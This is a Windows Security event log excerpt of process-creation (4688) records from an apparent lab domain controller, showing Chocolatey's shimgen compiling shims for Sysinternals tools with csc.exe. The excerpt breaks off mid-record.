Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246488 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x470 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\du64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246487 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x470 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246486 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x470 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\du64.exe" --output="C:\ProgramData\chocolatey\bin\du64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\du64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246485 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe84 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC9E2.tmp" "c:\ProgramData\chocolatey\bin\CSC7487B3641E234F2D842D354517636A9A.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246484 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246483 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x534 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\du.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246482 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x534 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246481 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\du.exe" --output="C:\ProgramData\chocolatey\bin\du.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\du.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246480 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x484 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC908.tmp" "c:\ProgramData\chocolatey\bin\CSC9C5FE30C31924AC787F621645A36FE36.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246479 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x484 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246478 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x384 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\DiskView64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246477 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x384 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246476 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x384 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\DiskView64.exe" --output="C:\ProgramData\chocolatey\bin\DiskView64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\DiskView64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246475 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC82D.tmp" "c:\ProgramData\chocolatey\bin\CSC75D6958E7103413D83398E32B1959AB4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246525 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb1c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCFDE.tmp" "c:\ProgramData\chocolatey\bin\CSC1FD27AAD7BDB4FA4938FFA3E805E6737.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246524 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb1c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246523 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x480 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\hex2dec.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\app.manifest" 